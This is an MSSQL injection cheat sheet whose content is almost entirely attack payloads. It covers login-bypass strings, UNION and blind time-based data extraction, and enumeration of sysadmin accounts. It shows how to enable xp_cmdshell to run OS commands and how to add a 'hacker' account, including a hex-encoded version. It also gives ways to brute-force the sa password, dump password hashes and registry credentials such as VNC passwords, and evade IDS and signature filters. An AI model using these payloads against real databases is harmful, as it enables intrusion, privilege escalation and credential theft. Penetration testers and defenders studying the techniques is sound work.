MSSQL Injection Cheat Sheet

gathered by Scott White (@s4squatch)

Error based SQL Injection:

- **CONVERT** (data_type [(length)] , expression [, style])
  - CONVERT(int,'string')
- **CAST** (expression AS data_type [(length)])
  - CAST('string' AS int)

Error messages should be similar to: **Conversion failed when converting the nvarchar value 'dbo' to data type int.**

Sample Query with login bypass:

- SELECT userid FROM users WHERE username='<txtUserName.Text>' AND password = '<txtPassword.Text>'
- ' OR 1=1--

If in a stored procedure:

- ' OR 'a'='a

Non-Locking queries:

- A "true" or wildcard query might return millions of records and take a long time causing a denial of service condition.
- Use "WITH (NOLOCK)" to run without locks to prevent
- Example: SELECT UserID FROM users_table WHERE Login='<injectionhere>'
  - ' OR 1=1 WITH (NOLOCK)—

UPDATE:

- UPDATE table SET Column1 = Value1, Column2 = Value2, ... WHERE PrimaryKeyColumn = SomeValue

INSERT:

- INSERT INTO table VALUES(1, 'test', {fn NOW()})

UNION SELECT:

- ' UNION SELECT null--
- ' UNION SELECT null, null --
- ' UNION SELECT null, null, null--
- When it returns, find visible text using by replacing each null with a value
  - ' UNION SELECT @@version, null, null--
  - ' UNION SELECT null, 'test', null--
  - Etc..

Time delay (helpful for detecting blind SQL injection):

- ;WAITFOR DELAY '0:0:10'
- '; IF <condition> WAITFOR DELAY '0:0:5' --
- '; IF SYSTEM_USER='sa' WAITFOR DELAY '0:0:5' --
- SELECT BENCHMARK(10000000,ENCODE('abc','123')); [around 5 sec]
- SELECT BENCHMARK(1000000,MD5(CHAR(116))) [around 7 sec]
- Example: SELECT IF(user = 'root', BENCHMARK(1000000,MD5('x')),NULL) FROM <table>

Character enumeration using time based injection attacks (useful for blind sql injection):

- if (ascii(substring(@s, @byte, 1)) & (power(2, @bit))) > 0 waitfor delay '0:0:5'
  it is possible to determine whether a given bit in a string is '1' or 0.That is, the above query will pause for five seconds if bit '@bit' of byte '@byte' in string '@s' is '1.'
- For example, the following query:
  declare @s varchar(8000) select @s = db_name() if (ascii(substring(@s, 1, 1)) & (power(2, 0))) > 0 waitfor delay '0:0:5'
  will pause for five seconds if the first bit of the first byte of the name of the current database is 1.

SQL Server Version:

- @@VERSION

- SELECT 'SQL Server ' + CAST(SERVERPROPERTY('productversion') AS VARCHAR) + ' - ' + CAST(SERVERPROPERTY('productlevel') AS VARCHAR) + ' (' + CAST(SERVERPROPERTY('edition') AS VARCHAR) + ')'
    - Examples:
        - productversion – "8.00.760"
        - productlevel – "SP3"
        - edition – "Enterprise Edition"

Current context:

- SYSTEM_USER (returns the name of the currently executing context)

Check for running as "sa":

- ' ;IF SYSTEM_USER!='sa' WAITFOR DELAY '0:0:10'--
- ' AND 'sa' IN(SELECT SYSTEM_USER)--
- '; IF SYSTEM_USER ='sa' WAITFOR DELAY '0:0:05'--
- ' OR SYSTEM_USER = 'sa'—

Check if the current user has "sysadmin" rights:

- ' OR CONVERT(int,(SELECT TOP 1 loginname FROM master..syslogins WHERE sysadmin=1 AND loginname=SYSTEM_USER))=1-- (if it returns a login name you have the sysadmin role assigned else no sysadmin rights)

General "limiting":

- ' OR CONVERT(int, (SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN(SELECT TOP 0 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES ORDER BY TABLE_NAME)))=1--
- SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members)
- SELECT TOP 1 name FROM members WHERE name NOT IN('name1','name2','etc')

Enumerating sysadmins and checking "sysadmin" privileges:

- SELECT TOP 1 loginname FROM master..syslogins WHERE sysadmin=1
    - Get FIRST sysadmin
- SELECT TOP 1 loginname FROM master..syslogins WHERE sysasdmin=1 AND loginname NOT IN ('login1', 'login2', 'etc')
    - Get sysadmins not in list of string literals
- SELECT TOP 1 loginname FROM master..syslogins WHERE sysasdmin=1 AND loginname NOT IN(SELECT TOP 1 loginname FROM master..syslogins WHERE sysadmin=1)
    - Get the SECOND sysadmin (First sysadmin that is NOT the first sysadmin)
- SELECT TOP 1 loginname FROM master..syslogins WHERE sysasdmin=1 AND loginname NOT IN(SELECT TOP 2 loginname FROM master..syslogins WHERE sysadmin=1)
    - Get the THIRD sysadmin (First sysadmin that is NOT in the first TWO sysadmins)

SQL Server Hostname:

- @@SERVERNAME
- SELECT SRVNAME FROM master..sysservers

Hostname originating the current query:

- HOST_NAME()

Client Machine and Client app name for the current connection:

- SELECT hostname, program_name FROM master.dbo.sysprocesses WHERE spid = @@SPID

Current Database Name:

- DB_NAME()

Enumerate Databases:

- SELECT DB_NAME(N); -- for N = 0, 1, 2, ...
- SELECT TOP 1 name FROM master..sysdatabases

Enumerate columns of table currently selecting from with injection using "HAVING" method:

- ' HAVING 1=1--

    - Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
- ' group by users.id having 1=1--
    - Column 'users.password' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
- ' group by users.id, users.password having 1=1--
    - Column 'users.birthday' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
    - Etc….

Find all tables with column containing the word 'password':

- ' OR CONVERT(int,(SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE LOWER(COLUMN_NAME) LIKE '%password%'))=1--

Enumerate Tables:

- SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES

Enumerate columns in a specific table:

- SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'users'
- SELECT TOP 1 name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable') WHERE name NOT IN ('tablename')

Get first 'username' from table 'users':

- ' OR CONVERT(int,(SELECT TOP 1 username FROM users))=1--

Select tables from other databases (if the current login has access):

- SELECT TABLE_NAME FROM [databasename].INFORMATION_SCHEMA.TABLES

Selelct data From Other Databases:

- SELECT TOP 1 UserName FROM [databasename].[dbo].[Users] WHERE LOWER(UserName) LIKE '%a%')--

Enabling/Disabling XP_CMDSHELL

SQL 2000 Enable:

' ;exec sp_addextendedproc 'xp_cmdshell','xp_log70.dll'--
' ;exec sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'--

SQL 2000 Disable:

exec sp_dropextendedproc 'xp_cmdshell'

SQL 2005/2008/2012/2014 Enable:

EXEC master.dbo.sp_configure 'show advanced options', 1 ;RECONFIGURE;
EXEC master.dbo.sp_configure 'xp_cmdshell', 1 ;RECONFIGURE;

SQL 2005/2008/2012/2014 Disable:

EXEC sp_configure 'xp_cmdshell', 0 ;RECONFIGURE
EXEC sp_configure 'show advanced options', 0 ;RECONFIGURE

Create custom xp_cmdshell:

```
CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS
  DECLARE @result int, @OLEResult int, @RunResult int
  DECLARE @ShellID int
  EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT
  IF @OLEResult <> 0 SELECT @result = @OLEResult
  IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)
```

```
EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)
EXECUTE @OLEResult = sp_OADestroy @ShellID
return @result

DECLARE @result int,@OLEResult int,@RunResult int,@ShellID int
EXECUTE @OLEResult=sp_OACreate ''WScript.Shell'',@ShellID OUT IF @OLEResult<>0
SELECT @result=@OLEResult IF @OLEResult<>0 RAISERROR(''CreateObject%0X'',14,1,@OLEResult)
EXECUTE @OLEResult=sp_OAMethod @ShellID,''Run'',Null,''ping -n 8 127.0.0.1'',0,1IF @OLEResult<>0
SELECT @result=@OLEResult IF @OLEResult<>0
RAISERROR (''Run %0X'',14,1,@OLEResult) EXECUTE @OLEResult=sp_OADestroy @ShellID')
```

Start MS FTP Service:
'; exec master..xp_servicecontrol 'start','FTP Publishing'--

Turning on Remote Desktop remotely via command line:

- REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /f /d 0

Passwords

Remove SQL Server password lockout:
Security --> Logins --> sa --> Properties --> unchecked: Enforce password policy (works on 2005, maybe others)

Unlock a locked out account:

- Erro: (Login failed for user sa because the account is currently locked out. The system administrator can unlock it.)
- ALTER LOGIN sa WITH PASSWORD = 'yourpassword' UNLOCK

Change a SQL password:

- EXEC sp_password 'oldpassword', 'newpassword', 'loginname'
- ALTER LOGIN sa WITH PASSWORD = 'p@55w0rd'

Enable Mixed Mode Authentication From the Registry:

- "HKEY_LOCAL_MACHINE\Software\Microsoft\MSSqlserver\MSSqlServer\LoginMode" to 2 for Mixed mode
- restart the SQL Server service
- Now you should be able to log in with a local administrator account (provided BUILTIN\Administrators has sysadmin rights)

Ad-Hoc Distributed Queries (for using OPENROWSET):

SQL 2005/2008 Enable:
exec sp_configure 'show advanced options', 1; RECONFIGURE;
exec sp_configure 'Ad Hoc Distributed Queries', 1; RECONFIGURE;

SQL 2005/2008 Disable:
exec sp_configure 'show advanced options', 1; RECONFIGURE; exec sp_configure 'Ad Hoc Distributed Queries', 0; RECONFIGURE;
exec sp_configure 'show advanced options', 0; RECONFIGURE;

Port scanning with OPENROWSET:
SELECT * FROM OPENROWSET('SQLOLEDB','uid=sa;pwd=foobar;Network=DBMSSOCN;Address=x.y.w.z,p;timeout=5','select 1')--
(OPENROWSET is used to run a query on another DB Server and retrieve the results)
This query will attempt a connection to the address x.y.w.z on port p. If the port is closed, the following message will be returned: SQL Server does not exist or access denied. If port is open, we get: General network error. Check your network documentation OR OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error.
(Remember that OPENROWSET is accessible to all users on SQL Server 2000 but it is restricted to administrative accounts on SQL Server 2005.)

Brute force local passwords:

- SELECT * FROM OPENROWSET('SQLOLEDB','';'sa';'<pwd>', 'SELECT 1')--

- SELECT * FROM OPENROWSET('SQLOLEDB','';'sa';'<pwd>', 'SELECT 1;WAITFOR DELAY ''0:0:10''')--
- [Microsoft][ODBC SQL Server Driver][SQL Server]Login failed for user 'sa'. Attempt a connection to the local database (specified by the empty field after 'SQLOLEDB') using "sa" and "<pwd>" as credentials. If the password is correct and the connection is successful, the query is executed, making the DB wait for 10 seconds (and also returning a value, since OPENROWSET expects at least one column).

List linked SQL servers:

- SELECT srvname FROM master..sysservers

SELECT from linked servers:

- SELECT * from LinkedServer.dbo.DBName.TableName where date_column = '2005-05-10'
- SELECT 1 from [192.168.10.110].[dbo].[master].syslogins

Brute force remote passwords:

- OPENROWSET('SQLOLEDB','uid=sa;pwd=foobar;Network=DBMSSOCN;Address=x.y.w.z,p;timeout=5','select 1')

Brute force sa password using SQL server CPU:

```
declare @query nvarchar(500), @pwd nvarchar(500),@charset
nvarchar(500), @pwdlen int, @i int
set @charset = N'abcdefghijklmnopqrstuvwxyz01234567890'
set @pwdlen = 8
while @i < @pwdlen begin
-- make password candidate
select @query=N'select 1 from
OPENROWSET(''Network=DBMSOCN;Address=;uid=sa; pwd='+@pwd
+N''',''select 1; sp_addsrvrolemember '''' + system_user
+N''''',''''sysadmin'''' '')'
exec xp_execresultset @query, N'master'
-- check success
-- increment the password
end
```

Give current login sysadmin role:

```
declare @moo varchar(50); set @moo = (select SYSTEM_USER); exec master..sp_addsrvrolemember @moo, 'sysadmin'
```

Add SQL Database User and add sysadmin role:

- exec sp_addlogin 'username', 'password'
- exec master..sp_addsrvrolemember 'username', 'sysadmin'
- Test the new account with:
  - test new account) ';select * from OPENROWSET('SQLOLEDB','';'username';'password','select 1;waitfor delay ''0:0:10''')--

Get SQL Logins and Password Hashes

- SQL 2000: SELECT name, password from master..sysxlogins
- SQL 2005: SELECT password_hash FROM sys.sql_logins where name='sa'
- SQL 2008: ?
- SQL 2012: ?

Finding weak passwords using plaintext passwords and SQL hashes:

```
SELECT name FROM sys.syslogins WHERE PWDCOMPARE('plaintext_password', hashvalue) = 1
```

Get VNC password From Registry:

- '; declare @out binary(8) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\ORL\WinVNC3\Default', @value_name='Password', @value = @out output select cast(@out as bigint) as x into TEMP--
- ' and 1 in (select cast(x as varchar) from temp) --

Some other interesting keys to explore include:

- HKLM\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters\nullsessionshares
- HKLM\SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities
- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ Winlogon\DefaultUserName
- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ Winlogon\DefaultPassword
- HKLM\SOFTWARE\Microsoft\TelnetServer\1.0\NTLM
- HKLM\SYSTEM\CurrentControlSet\Control\LSA\RestrictAnonymous
- HKLM\SOFTWARE\ORL\WinVNC3\Default\Password
- HKU\Software\ORL\WinVNC3\Password
- HKLM\SOFTWARE\Symantec\Norton AntiVirus\CurrentVersion
- HKU\Software\Microsoft\Internet Account Manager\Accounts\ 00000001\POP3 User Name
- HKU\Software\Kazaa\UserDetails\UserName
- HKU\Software\Microsoft\Exchange\UserName
- HKU\Software\Microsoft\Exchange\LogonDomain

Evasion Techniques

' OR 1=1-- Signature Evasion:

- ' OR 'unusual' = 'unusual'
- ' OR 'something' = 'some'+'thing'
- ' OR 'something' like 'some%'
- ' OR 2 > 1
- ' OR 2=2
- ' OR 'text' > 't'
- ' OR 'whatever' IN ('whatever')
- ' OR 2 BETWEEN 1 AND 3
- ' OR 1 <> 2
- ' OR 1<2
- ' OR 2-2=0
- 2 OR 1 LIKE 1--
- 2 AND 1 LIKE 2--

Hex Evasion:

- 2 or 2 in (select user)--
- 2 or 2 in (%73%65%6C%65%63%74%20%75%73%65%72)--
- 2%20or%202%20in%20(/*IDS*/%73/*evasion*/%65/*is*/%6C/*easy*/%65/*just*/%63/*ask*/%74/*how*/%20%75/*to*/%73/*do*/%65/*it*/%72/*...*/)%2D%2D
- 2%55%4E%49%4F%4E%20%41%4C%4C%20%73%65%6C%65%63%74%201,2,3,(%73%65%6C%65%63%74%20%75%73%65%72),5,6,7%2D%2D

MSSQL CHAR() Quote Evasion:

- ' or username like char(37)-- (%)
- ' union select * from users where login = char(114,111,111,116)-- (root)

'@@VERSION' string literal evasion:

- select @@version
    - declare @x varchar(80); set @x = 0x73656c65637420404076657273696f6e; EXEC (@x)—

Double quote evasion:

- EXEC('master..xp_cmdshell "dir"')
    - SELECT 1
      declare @cmd varchar(1000)
      select @cmd = 'dir'
      exec master..xp_cmdshell @cmd

Space Evasion

- '/**/OR/**/1=1--

IDS Evasion

- EXEC ('SEL' + 'ECT US' + 'ER')

"xp_cmdshell" string literal evasion, also without quotes:

- exec xp_cmdshell 'ping 127.0.0.1'
  - declare @a nvarchar(1000); set @a = reverse('''1.0.0.721 gnip'' llehsdmc_px');exec (@a)
  - Adds username & password:
    - declare @cmd varchar(1000) select @cmd = 0x65786563206d61737465722e2e78705f636d647368656c6c20276e6574207573657220686163657220704035357730726421202f61646427 exec (@cmd)--
    - Can use http://home2.paulschou.net/tools/xlate/ to get hex:
      - exec master..xp_cmdshell 'net user hacker p@55w0rd! /add'
      - 0x65786563206d61737465722e2e78705f636d647368656c6c20276e6574207573657220686163657220704035357730726421202f61646427

Other Helpful Info

Important Stored procedures

sp_columns returns column names of tables
sp_configure Returns internal database settings. Allows you to specific a particular setting and retrieve the value.
sp_dboption Views or sets user configurable database options
sp_who2 and sp_who Displays usernames, the client from which theyre connected, the application used to connect to the database, the command executed on the database and several other pieces of info.

Parameterised Extended stored procedures

xp_cmdshell - The default current directory is %SystemRoot%\System32. This procedure is disabled in SQL 2005 onwards by default, but can be re-enabled remotely by running the following command (either as a straight query or as part of an injection):

;exec sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE

xp_regread Reads a registry value.
xp_servicecontrol Stops or starts a windows service.
xp_terminate_service Kills a process based on its process ID.

Non-parameterised Extended Stored Procedures
xp_loginconfig Displays login information, particularly the login mode (mixed etc) and default login.
xp_logininfo Shows currently logged in accounts (NTLM accounts).
xp_msver Lists SQL version and platform info.
xp_enumdsn Enumerates ODBC data sources.
xp_enumgroups Enumerates Windows groups.

System Table Objects

Many of the system tables from earlier releases of SQL Server are now implemented as a set of views. These views are known as compatibility views, and they are meant for backward compatibility only. The compatibility views expose the same metadata that was available in SQL Server 2000. However, the compatibility views do not expose any of the metadata related to features that are introduced in SQL Server 2005 and later.

syscolumns (2000) All column names and stored procedures for the current database
sysusers All users who can manipulate the database
sysfiles The file and pathname for the current database and its log file.
systypes Data types defined by SQL or users.

Master DB Tables

sysconfigures Current DB config settings.
sysdatabases Lists all DBs on server
sysdevices Enumerates devices used for DB

sysxlogins (2000) Enumerates user info for each permitted user of the database
sql_logins (2005) Enumerates user info for each permitted user of the database
sysremotelogins Enumerates user info for all users permitted to remote access DB

Ports
The default ports for MS SQL are TCP/1433 and UDP/1434. However the service can be deployed hidden on 2433 (this is MSs idea of hiding!).

UDP 1434 was introduced in SQL 2000 and provides a referral service for multiple instances of SQL running on the same machine. The service listens on this port and returns the IP address and port number of the requested database.